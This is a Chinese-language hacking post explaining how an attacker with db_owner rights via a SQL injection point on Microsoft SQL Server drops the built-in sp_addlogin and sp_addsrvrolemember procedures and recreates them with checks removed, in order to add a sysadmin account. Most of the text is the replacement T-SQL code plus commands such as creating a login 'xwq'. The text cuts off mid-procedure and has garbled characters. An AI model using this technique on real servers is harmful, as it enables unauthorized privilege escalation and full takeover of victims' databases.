msSQL注入通杀,只要有注入点就有系统权限

不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下：先输入drop procedure sp_addlogin,然后在IE里面输入create procedure  sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb          ; ; sysname = ’master’      -- UNDONE: DEFAULT 
CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call
    
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount 〉 0)
 begin
  raiserror(15002,-1,-1,’sp_addlogin’)
  return (1)
 end
    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret 〈〉 0)
        return (1)
    if (charindex(’’, @loginame) 〉 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end
 --Note: different case sa is allowed.
 if (@loginame = ’sa’ or lower(@loginame) in (’public’))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end
    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname = 
@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end
 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end
 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret 〈〉 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default 
language
  if @deflanguage is null
   select @deflanguage = N’us_english’
 end
 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) 〈〉 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end
 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = ’skip_encryption_old’
 begin
  select @xstatus = @xstatus | 0x800, -- old-style 
encryption
   @passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt 〈〉 ’skip_encryption’
 begin
  raiserror(15600,-1,-1,’sp_addlogin’)
  return 1
 end
    -- ATTEMPT THE INSERT OF THE NEW LOGIN --
 INSERT INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error 〈〉 0  -- this indicates we saw duplicate row
        return (1)
 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE 
SYSLOGINS CHANGE --
 exec(’use master grant all to null’)
    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq

再drop procedure sp_addsrvrolemember,然后在IE里输入

create procedure sp_addsrvrolemember
    @loginame sysname,   -- login name
    @rolename sysname = NULL -- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 declare @ret        int,    -- return value of sp call
             @rolebit    smallint,
             @ismem      int
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount 〉 0)
 begin
  raiserror(15002,-1,-1,’sp_addsrvrolemember’)
  return (1)
 end
    
    -- CANNOT CHANGE SA ROLES --
    if @loginame = ’sa’
    begin
        raiserror(15405, -1 ,-1, @loginame)
        return (1)
    end
    -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
             WHEN ’sysadmin’         THEN 16
             WHEN ’securityadmin’    THEN 32
             WHEN ’serveradmin’      THEN 64
             WHEN ’setupadmin’       THEN 128
             WHEN ’processadmin’     THEN 256
             WHEN ’diskadmin’        THEN 512
             WHEN ’dbcreator’        THEN 1024
   WHEN ’bulkadmin’  THEN 4096
             ELSE NULL END
    -- ADD ROW FOR NT LOGIN IF NEEDED --
 if not exists(select * from master.dbo.syslogins where 
loginname = @loginame)
    begin
        execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret 〈〉 0)
     begin
      raiserror(15007,-1,-1,@loginame)
      return (1)